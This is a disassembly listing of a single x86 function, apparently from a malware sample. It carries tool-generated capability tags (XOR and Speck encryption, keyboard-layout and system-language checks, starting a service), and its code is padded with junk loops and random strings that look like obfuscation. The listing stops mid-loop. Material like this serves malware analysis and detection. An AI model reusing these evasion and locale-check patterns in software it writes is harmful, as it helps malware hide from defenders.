Function at 0x100209bb
Capabilities:
Check http status code
Encode data using xor
Encrypt data using speck
Get keyboard layout
Identify system language via api
Start service

Disassembly:
mov eax, 0x10062a38
call fcn.10061438
sub esp, 0x61c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1f8], edx
mov dword [ebp - 0x80], ecx
xor ebx, ebx
lea ecx, [ebp - 0x288]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1a4], 9
push 1
call fcn.1000e8c0
xor ecx, ecx
inc ecx
mov byte [ebp - 4], cl
mov dword [ebp - 0x34], 0x971db956
mov dword [ebp - 0x64], ebx
jmp 0x10020a19
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x22c], 0x1147
inc dword [ebp - 0x64]
cmp dword [ebp - 0x64], ecx
jl 0x10020a08
lea eax, [ebp - 0x64]
mov edx, 0x5ce6
push eax
push ecx
push 0x587d
push 0xe4
lea eax, [ebp - 0x288]
push eax
push ecx
push ecx
mov ecx, 0x2f28
call fcn.1001fad1
add esp, 0x1c
mov dword [ebp - 0x248], 0x350d8af8
lea eax, [ebp - 0x1a4]
lea edx, [ebp - 0x288]
push ebx
push ecx
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.1001fd05
add esp, 0x10
lea eax, [ebp - 0x1a4]
xor dl, dl
push 0x1179
push 0xea0
push 0x3e6b
push 0x4f32
push eax
push ecx
push 0x61ee
push 0x29f2
push 0x5723
mov ecx, 0x33e4
call fcn.1001fbee
mov ecx, dword [ebp - 0x22c]
add esp, 0x24
mov eax, dword [ebp - 0x288]
mov dword [eax], ecx
lea ecx, [ebp - 0x288]
call fcn.1000e943
mov dword [ebp - 0x1bc], ebx
mov dword [ebp - 0x1b8], ebx
mov dword [ebp - 0x1b4], ebx
push 2
lea ecx, [ebp - 0x204]
mov byte [ebp - 4], 2
call fcn.1000e8c0
mov byte [ebp - 4], 3
mov dword [ebp - 0x14], 0x33e0
cmp dword [ebp - 0x14], 0x3439
jle 0x10020b47
push ebx
push 0x623
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov esi, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], 0x7798
mov edi, ebx
mov ebx, dword [ebp - 0x18]
mov eax, ebx
mov ecx, 0x1007fdb8
xor eax, edi
cdq
push edx
push eax
call fcn.1000e5de
inc edi
cmp edi, 0x1983
jl 0x10020b17
add ebx, esi
dec dword [ebp - 0x1c]
push 0
mov dword [ebp - 0x18], ebx
pop ebx
jne 0x10020b12
inc esi
cmp esi, 0x26e0
jl 0x10020b08
push 1
lea ecx, [ebp - 0x2ec]
call fcn.1000e8c0
mov byte [ebp - 4], 5
cmp dword [ebp - 0x14], 0x30b9
jge 0x10020b8e
mov edx, str.qevbs_pcrktccw_bagpjsrv_zbkc_scaakkhq_npqyzxt_osgfpqluv_qfcbbtjw_ywvayv_cvhx_auca_bbytulhzi
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x10020b8e
mov dword [ebp - 4], 4
mov dword [ebp - 0x230], 0x96121589
mov dword [ebp - 0x20], 0x90031234
mov dword [ebp - 0x14], ebx
jmp 0x10020bbe
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x204]
mov dword [eax + ecx*4], 4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10020bab
mov dword [ebp - 0x14], ebx
jmp 0x10020bd8
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2ec]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10020bc9
mov eax, dword [ebp - 0x204]
mov dword [eax], 0x1a
cmp dword [eax], 0xffffffef
jne 0x10020e5d
push 4
lea ecx, [ebp - 0x1f4]
call fcn.1000e8c0
mov byte [ebp - 4], 7
xor edx, edx
inc edx
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x208], 0x9f41adf8
mov dword [ebp - 0x234], ebx
mov dword [ebp - 0x14], ebx
jmp 0x10020c2e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1f4]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10020c1f
mov dword [ebp - 0x78], 3
cmp dword [ebp - 0x78], ebx
jl 0x10020e3e
mov dword [ebp - 0x74], 4
mov dword [ebp - 0x74], 3
cmp dword [ebp - 0x74], ebx
jl 0x10020df5
mov dword [ebp - 0x14], 0xcc58a012
mov dword [ebp - 0x14], ebx
jmp 0x10020c7a
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1f4]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10020c67
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 3
jg 0x10020ded
push ebx
lea eax, [ebp - 0x42]
mov byte [ebp - 0x42], bl
push eax
push ecx
push 0x39e1
call fcn.10020886
mov dword [ebp - 0x24], 0x5d47
add esp, 0x10
cmp dword [ebp - 0x24], 0x5e88
jle 0x10020d0d
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x18], ebx
add eax, esi
add ecx, edi
and eax, ecx
mov ecx, 0x1007fdb8
cdq
push edx
push eax
call fcn.1000e5de
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x68f5
jl 0x10020cc1
inc esi
cmp esi, 0x680a
jl 0x10020cbc
inc edi
cmp edi, 0x3b8f
jl 0x10020cba
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x1dd9
jl 0x10020cb8
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov dword [ebp - 0x18], 0x3249
cmp dword [ebp - 0x18], 0x33f1
jle 0x10020d6b
push ebx
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
mov esi, ebx
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x4d0]
or eax, esi
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10020d44
mov eax, dword [eax]
push eax
call fcn.10048643
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4d0]
call fcn.1000f099
inc edi
cmp edi, 0x1def
jl 0x10020d28
inc esi
cmp esi, 0x4236
jl 0x10020d26
mov byte [ebp - 0x4d], bl
cmp dword [ebp - 0x18], 0x2e95
jge 0x10020d82
push str.hgakv_pfmopzdh_waujvb_metvnpzih_ygl_kdtzy_arm
call fcn.10048643
pop ecx
push 0x1415
lea eax, [ebp - 0x4d]
mov dword [ebp - 4], 7
push eax
push 1
push ebx
mov edx, 0x7f82
mov cl, 1
call fcn.1002053b
add esp, 0x10
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x24], 0x5a05
jge 0x10020dde
mov edx, str.usu_yxmiadg_dalu_usnqlom_wpmee_qjemxpt_yjd_kgnhib_dst_lwvhzod_yszxddeh
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x10020dde
mov dword [ebp - 4], 7
inc dword [ebp - 0x14]
jmp 0x10020c83
dec dword [ebp - 0x74]
jmp 0x10020c52
lea eax, [ebp - 0x234]
mov dl, 1
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x2ec]
push eax
lea eax, [ebp - 0x1f4]
push eax
push 0x52d0
push ecx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x204]
call fcn.1001fbee
add esp, 0x24
dec dword [ebp - 0x78]
jmp 0x10020c3b
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1f4]
cmp dword [ebp - 0x20], ebx
call fcn.1000e943
mov eax, dword [ebp - 0x204]
dec dword [eax]
jmp 0x10020bea
lea ecx, [ebp - 0x2ec]
call fcn.1000e943
lea ecx, [ebp - 0x204]
mov byte [ebp - 4], 2
call fcn.1000e943
push 0x43
pop eax
push 2
mov ecx, ebx
mov byte [ebp - 0xbc], bl
mov dword [ebp - 0xbb], 0xa8d90450
mov dword [ebp - 0xb7], 0x2d08ce51
mov dword [ebp - 0xb3], 0x1d0a010b
mov dword [ebp - 0xaf], 0x17020609
mov dword [ebp - 0xab], 0x7070b03
mov dword [ebp - 0xa7], 0x90c0a04
mov dword [ebp - 0xa3], 0x4c050d01
mov word [ebp - 0x9f], 0x6e06
mov word [ebp - 0x3a4], ax
pop esi
mov dword [ebp - 0x170], ecx
cmp esi, 2
jne 0x10020ef3
push 5
pop ecx
push ecx
mov dword [ebp - 0x170], ecx
pop esi
jmp 0x10020f42
movzx edx, byte [ebp + esi - 0xbb]
mov eax, esi
sub eax, ecx
push 1
sub esp, 0xc
movzx eax, byte [ebp + eax - 0xbe]
movzx ecx, word [ebp + eax*2 - 0x3a4]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xbc]
add ecx, edx
mov word [ebp + eax*2 - 0x3a4], cx
lea ecx, [ebp - 0x170]
call fcn.1001fcc2
mov ecx, dword [ebp - 0x170]
add esp, 0x10
add esi, 2
cmp esi, 0x1f
jb 0x10020ee1
xor eax, eax
mov word [ebp - 0x38a], ax
mov dword [ebp - 0x34], 0xb90d
mov dword [ebp - 0x34], 0xb13638ec
mov dword [ebp - 0x34], 0x2906c902
mov dword [ebp - 0x14], ebx
jmp 0x10020f7e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x53c], 0xed23b618
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10020f6d
mov dword [ebp - 0x14], ebx
jmp 0x10020f9a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x410], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10020f89
mov dword [ebp - 0x14], ebx
jmp 0x10020fb6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x194], 0x722ba7b7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10020fa5
inc dword [ebp - 0x194]
mov ecx, 0x3355
push 1
push 0x33d2
push ebx
mov dword [ebp - 0x228], 0xc3938dd4
push 0x5221
mov dword [ebp - 0x23c], 0x566a
push 1
mov dword [ebp - 0x238], 0x3ec752f6
mov dword [ebp - 0x240], 9
push 6
mov dword [ebp - 0x218], 8
pop edx
mov dword [ebp - 0x1e8], ebx
call fcn.1002031e
add esp, 0x14
lea eax, [ebp - 0x240]
push eax
push ecx
push 0x43b6
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x238]
push eax
push ebx
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x1e8]
push eax
lea ecx, [ebp - 0x23c]
call fcn.10020758
add esp, 0x20
mov word [ebp - 0x9c], 0xde05
mov ecx, ebx
mov byte [ebp - 0x9a], 3
mov byte [ebp - 0x99], bl
mov dword [ebp - 0x98], 0xe010204
push 0x63
pop eax
push 2
mov dword [ebp - 0x94], 0x48074202
mov dword [ebp - 0x90], 0x3b19203
mov word [ebp - 0x8c], 0xd06
mov byte [ebp - 0x8a], bl
mov byte [ebp - 0x89], 6
mov word [ebp - 0x2be], ax
pop esi
mov dword [ebp - 0x16c], ecx
cmp esi, 0xc
jne 0x100210c3
push 4
pop ecx
push 0xe
mov dword [ebp - 0x16c], ecx
pop esi
jmp 0x1002112a
movzx edx, byte [ebp + esi - 0x9b]
mov eax, esi
sub eax, ecx
push 0x951
push 1
push 0x5c88
movzx eax, byte [ebp + eax - 0x9e]
movzx eax, word [ebp + eax*2 - 0x2c8]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0x5a32
sub ecx, eax
movzx eax, byte [ebp + esi - 0x9c]
mov word [ebp + eax*2 - 0x2c8], cx
lea eax, [ebp - 0x16c]
push eax
push 0xd9a
push ebx
push 1
mov ecx, 0x3a59
call fcn.1001fad1
mov ecx, dword [ebp - 0x16c]
add esp, 0x1c
add esi, 2
cmp esi, 0x14
jb 0x100210b0
xor eax, eax
lea ecx, [ebp - 0x2b4]
push 1
mov word [ebp - 0x2b8], ax
call fcn.1000e8c0
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x54], ebx
jmp 0x10021166
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x3d4], 0xffff
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 3
jl 0x10021155
push 0x4a9f
push 0x744b
lea eax, [ebp - 0x2b4]
mov edx, 0x93f
push eax
lea eax, [ebp - 0x54]
mov ecx, 0x51e5
push eax
push 1
push 0x2d9d
push 0x4979
push ebx
push 0x2a04
push ebx
call fcn.1001f96d
mov ecx, dword [ebp - 0x3cc]
mov edx, 0x55a
mov eax, dword [ebp - 0x2b4]
push 0x5765
push 0x4a2c
push 1
mov dword [eax], ecx
lea eax, [ebp - 0x41]
push eax
push 1
push ebx
push 0x1143
mov ecx, 0x23c8
mov byte [ebp - 0x41], bl
call fcn.1001ffb6
add esp, 0x44
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2b4]
call fcn.1000e943
xor eax, eax
mov dword [ebp - 0x370], 7
mov word [ebp - 0x384], ax
lea ecx, [ebp - 0x384]
lea eax, [ebp - 0x2c8]
mov dword [ebp - 0x374], ebx
push eax
call fcn.10017b8d
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x368]
xor eax, eax
mov dword [ebp - 0x354], 7
mov word [ebp - 0x368], ax
lea eax, [ebp - 0x3a4]
push eax
mov dword [ebp - 0x358], ebx
call fcn.10017b8d
lea eax, [ebp - 0x368]
push eax
lea ecx, [ebp - 0x440]
call fcn.1001544a
lea eax, [ebp - 0x384]
push eax
lea ecx, [ebp - 0x428]
call fcn.1001544a
push ebx
push 1
lea ecx, [ebp - 0x368]
call fcn.1000f26d
push ebx
push 1
lea ecx, [ebp - 0x384]
call fcn.1000f26d
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x410]
push dword [ebp - 0x19c]
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x1b0], ebx
push eax
lea eax, [ebp - 0x440]
mov dword [ebp - 0x1ac], ebx
push eax
push ebx
mov dword [ebp - 0x1a8], ebx
call fcn.10023518
push fcn.1001f688
push 1
push 0x30
lea eax, [ebp - 0x440]
mov byte [ebp - 4], 0x10
push eax
call fcn.100483fb
mov dword [ebp - 0x34], 0xfffffff7
mov edx, 0x5de8
push ebx
call fcn.1001fec0
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
pop ecx
je 0x10021303
push ecx
push ebx
push ecx
push ecx
mov edx, 0x7344
call fcn.1002099e
add esp, 0x10
xor eax, eax
lea edi, [ebp - 0x3a4]
push 7
pop ecx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x2c8]
sub esp, 0xc
stosd dword es:[edi], eax
mov edx, 0x51ce
xor cl, cl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
call fcn.100208a9
add esp, 0xc
lea eax, [ebp + 8]
lea edx, [ebp - 0x1b0]
push eax
push ecx
push ecx
push ebx
call fcn.10020058
mov dword [ebp - 0x24], 0x57f3
add esp, 0x10
cmp dword [ebp - 0x24], 0x5949
jle 0x10021384
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadCursorA]
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x1007fdb8
cdq
push edx
push eax
call fcn.1000e5de
inc edi
cmp edi, 0x598f
jl 0x1002135f
inc esi
cmp esi, 0x1593
jl 0x1002135d
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x1c], ebx
jmp 0x100213a1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x244], 0xf54c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x10021390
mov dword [ebp - 0x1c], 5
jmp 0x10021420
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x14], ebx
jmp 0x10021418
push 2
lea ecx, [ebp - 0x2e0]
call fcn.1000e8c0
sub esp, 0xc
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x2e0]
push eax
push ebx
lea eax, [ebp - 0x32c]
push eax
push ecx
push 0x5471
push ecx
call fcn.1001fee4
mov eax, dword [ebp - 0x14]
add esp, 0x24
mov eax, dword [ebp + eax*4 - 0x244]
push 4
pop ecx
sub ecx, eax
mov eax, dword [ebp - 0x2e0]
mov byte [ebp - 4], 0x10
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x2e0]
call fcn.1000e943
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x100213bc
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffeb
je 0x100213b0
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x24], 0x5553
jge 0x10021460
mov edx, str.lblijf_zwict_jibeb_koblckk_hnaydmb_ekfm_ghavbb_zhabsr_qyppf_ulhzy_ngost
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x10021460
push ebx
push 0xc139
push 0x164ad
mov dword [ebp - 4], 0x10
call fcn.10035d0f
pop ecx
pop ecx
call eax
mov dword [ebp - 0x14], 0xffffffff
lea ecx, [ebp - 0x27c]
push 2
call fcn.1000e8c0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x2d4]
mov dword [ebp - 0x1c], ebx
push 2
call fcn.1000e8c0
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x68], ebx
jmp 0x100214bc
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x27c]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x68]
cmp dword [ebp - 0x68], 2
jl 0x100214ac
push ebx
push 0x1760
push 1
push 0x4ff0
push 1
lea edx, [ebp - 0x2d4]
lea ecx, [ebp - 0x68]
call fcn.1002031e
add esp, 0x14
mov dword [ebp - 0x14], 0xffffffe2
jmp 0x10021511
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1002150e
push 1
push ecx
push 0x277a
push 0x250a
mov edx, 0x5ef8
call fcn.1001fd05
add esp, 0x10
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe4
jg 0x100214eb
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 1
jg 0x10021744
push 4
lea ecx, [ebp - 0x294]
call fcn.1000e8c0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x16
push ecx
push 0x3226
push 0x6e02
push 0x7d97
xor eax, eax
mov dword [ebp - 0x20], ebx
inc eax
mov dword [ebp - 0x18], 0xfffffff8
push eax
lea ecx, [ebp - 0x294]
mov dword [ebp - 0x24], eax
push ecx
push 0x904
push eax
push 0x7d75
push ebx
mov edx, 0x7c19
mov ecx, 0x540
call fcn.1001f96d
mov dword [ebp - 0x24], 0x17fe
add esp, 0x28
cmp dword [ebp - 0x24], 0x1aa7
jle 0x100215b7
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x1007fdb8
cdq
push edx
push eax
call fcn.1000e5de
inc edi
cmp edi, 0x3b67
jl 0x10021592
inc esi
cmp esi, 0x2c9b
jl 0x10021590
mov dword [ebp - 0x2c], ebx
jmp 0x100215cd
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x36c], 0x66e9f086
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 1
jl 0x100215bc
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x24], 0x14b0
jge 0x1002160d
mov edx, str.ykj_zzrrdp_yrxs_qxpfmnv_ebxhiq_uwnwsfgsq_wwoplc_nmbndf_uwt_rgctir
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x1002160d
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x2c], ebx
jmp 0x1002162a
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x88], 5
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 1
jl 0x10021619
mov eax, dword [ebp - 0x88]
dec dword [ebp - 0x88]
test eax, eax
je 0x10021655
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x294]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x27c]
cmp ecx, dword [eax + 4]
setg dl
cmp edx, dword [ebp - 0x14]
je 0x1002167f
cmp dword [ebp - 0x88], ebx
jne 0x1002167f
mov ecx, ebx
jmp 0x10021682
xor ecx, ecx
inc ecx
mov esi, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x294]
mov edi, dword [ebp - 0x2d4]
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x27c]
sete dl
xor ecx, ecx
cmp edx, dword [eax + esi*4]
setl cl
xor eax, eax
cmp ecx, dword [edi + 4]
setne al
cmp eax, dword [edi + 4]
je 0x100216dd
push 0x55ef
push ecx
push ecx
push 1
mov edx, 0x68cf
call fcn.10020058
mov byte [ebp - 0x25], bl
add esp, 0x10
cmp byte [ebp - 0x25], 0
je 0x1002172d
push ecx
xor dl, dl
call fcn.10020515
pop ecx
jmp 0x1002172d
push 1
lea ecx, [ebp - 0x2a8]
call fcn.1000e8c0
lea eax, [ebp - 0x350]
mov byte [ebp - 4], 0x19
push eax
push 1
lea eax, [ebp - 0x2a8]
xor dl, dl
push 1
push eax
mov ecx, 0x37a
call fcn.10020198
mov eax, dword [ebp - 0x2a8]
lea ecx, [ebp - 0x2a8]
add esp, 0x10
mov dword [eax], 0xa1033631
mov dword [edi + 4], 0xa1033631
call fcn.1000e943
lea ecx, [ebp - 0x294]
mov byte [ebp - 4], 0x15
call fcn.1000e943
inc dword [ebp - 0x14]
jmp 0x1002151a
lea ecx, [ebp - 0x2d4]
call fcn.1000e943
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 0x10
call fcn.1000e943
push 1
lea edx, [ebp - 0x340]
call fcn.1001fec0
mov dword [ebp - 0x14], 0x7b2e
cmp dword [ebp - 0x14], 0x7d0e
pop ecx
jle 0x100217f2
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov dword [ebp - 0x1c], ebx
mov esi, ebx
add eax, edi
mov dword [ebp - 0x24], 0x36c3
mov dword [ebp - 0x20], eax
mov edi, eax
mov eax, edi
lea ecx, [ebp - 0x500]
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100217b0
mov eax, dword [eax]
push eax
call fcn.10048643
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x500]
call fcn.1000f099
add edi, esi
dec dword [ebp - 0x24]
jne 0x10021796
mov edi, dword [ebp - 0x1c]
inc esi
mov eax, dword [ebp - 0x18]
cmp esi, 0x2e0f
jl 0x10021788
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x55f3
jl 0x10021786
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x40f1
jl 0x10021781
cmp dword [ebp - 0x14], 0x79ea
jge 0x10021806
push str.gyksk_wiidxs_bdlna_jwjerd_eej
call fcn.10048643
pop ecx
mov dword [ebp - 4], 0x10
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x34], 0xd3f7bf48
mov dword [ebp - 0x34], 0x747b
mov dword [ebp - 0x34], 1
push 2
call fcn.1000e8c0
lea eax, [ebp - 0x1e4]
mov byte [ebp - 4], 0x1c
push eax
push ebx
push ecx
lea edx, [ebp - 0x264]
call fcn.1001f7e3
mov dword [ebp - 0x18], 0x3ded
add esp, 0xc
cmp dword [ebp - 0x18], 0x3eeb
jle 0x100218b5
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov edi, esi
mov esi, 0x31f1
mov eax, edi
lea ecx, [ebp - 0x470]
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10021880
mov eax, dword [eax]
push eax
call fcn.10048643
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x470]
call fcn.1000f099
dec edi
dec esi
jne 0x10021866
mov esi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x677
jl 0x1002185f
push ebx
push ebx
push 0x693
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
mov eax, dword [ebp - 0x264]
sub esp, 0xc
xor ecx, ecx
inc ecx
push 0x5db6
push ecx
push 0x4e56
mov dword [eax], ecx
lea eax, [ebp - 0x264]
push ecx
push eax
push ecx
call fcn.1001fee4
mov byte [ebp - 0x25], bl
add esp, 0x24
cmp byte [ebp - 0x25], 0
je 0x100218f9
push ebx
sub esp, 0xc
mov ecx, 0x3dc2
call fcn.1001fcc2
add esp, 0x10
cmp dword [ebp - 0x18], 0x3ca5
jge 0x1002190d
push str.asydmjgg_szcezlr_osupsiba_whukochm_vhj_zes
call fcn.10048643
pop ecx
lea ecx, [ebp - 0x264]
mov dword [ebp - 4], 0x10
call fcn.1000e943
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x14], 0xecb45710
mov dword [ebp - 0x20], 0xb357
mov dword [ebp - 0x24], 0x6bc712ba
mov dword [ebp - 0x24], 0xfffffffc
mov dword [ebp - 0x24], 0xa47b6c41
mov dword [ebp - 0x24], 0x6cb2
cmp dword [ebp - 0x24], 0x707b
jle 0x10021994
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x18]
lea eax, [esi + ebx]
mov ecx, 0x1007fdb8
or eax, edi
cdq
push edx
push eax
call fcn.1000e5de
inc edi
cmp edi, 0x33b1
jl 0x1002195f
inc esi
push 0
pop ebx
cmp esi, 0x2a17
jl 0x1002195a
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x5e19
jl 0x10021958
mov dword [ebp - 0x18], 0xa251abe7
mov byte [ebp - 4], 0x1f
cmp dword [ebp - 0x24], 0x6912
jge 0x100219d5
mov edx, str.lyxgjp_hnfhwwfb_myejrkdb_eqn_imegej_rbwwuy_qpjzmer
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x100219d5
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0x3e76
cmp dword [ebp - 0x24], 0x4022
jle 0x10021a24
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x1007fdb8
or eax, esi
cdq
push edx
push eax
call fcn.1000e5de
inc edi
cmp edi, 0x1581
jl 0x100219fa
inc esi
cmp esi, 0x3741
jl 0x100219f8
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov byte [ebp - 4], 0x21
cmp dword [ebp - 0x24], 0x3bf7
jge 0x10021a5e
mov edx, str.zxgiph_bjrv_jbuzdox_dyyjvlhx_agsix
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x10021a5e
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x1c], ebx
jmp 0x10021a7b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x258], 0x692b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10021a6a
mov dword [ebp - 0x14], ebx
jmp 0x10021ac2
push ecx
lea eax, [ebp - 0x4a]
mov byte [ebp - 0x4a], bl
push 0xb32
push eax
mov edx, 0x37ed
xor cl, cl
call fcn.10020952
add esp, 0xc
mov byte [ebp - 0x4c], bl
mov dl, 1
lea ecx, [ebp - 0x4c]
push 0x30d0
push ebx
push 1
push 0x10ba
call fcn.10020198
add esp, 0x10
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jle 0x10021a86
mov ecx, dword [ebp - 0x258]
mov eax, dword [ebp - 0x258]
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x24], ecx
je 0x10021af0
cmp dword [ebp - 0x20], ebx
je 0x10021af0
xor eax, eax
inc eax
jmp 0x10021af2
mov eax, ebx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x254]
cmp ecx, eax
setne dl
neg edx
neg edx
sbb edx, edx
xor eax, eax
neg edx
cmp edx, 0xde45a917
sete al
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x254]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
neg eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x363c
cmp dword [ebp - 0x20], 0x3955
jle 0x10021ba4
push 0x21d3
push 0xd7
push 0x1fa1
push 0x1de
push 0x1fce
call dword [sym.imp.GDI32.dll_Rectangle]
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x18]
lea eax, [edi + esi]
mov ecx, 0x1007fdb8
add eax, ebx
cdq
push edx
push eax
call fcn.1000e5de
inc edi
cmp edi, 0x4577
jl 0x10021b6f
inc esi
push 0
pop ebx
cmp esi, 0x7698
jl 0x10021b6a
mov eax, dword [ebp - 0x18]
inc eax
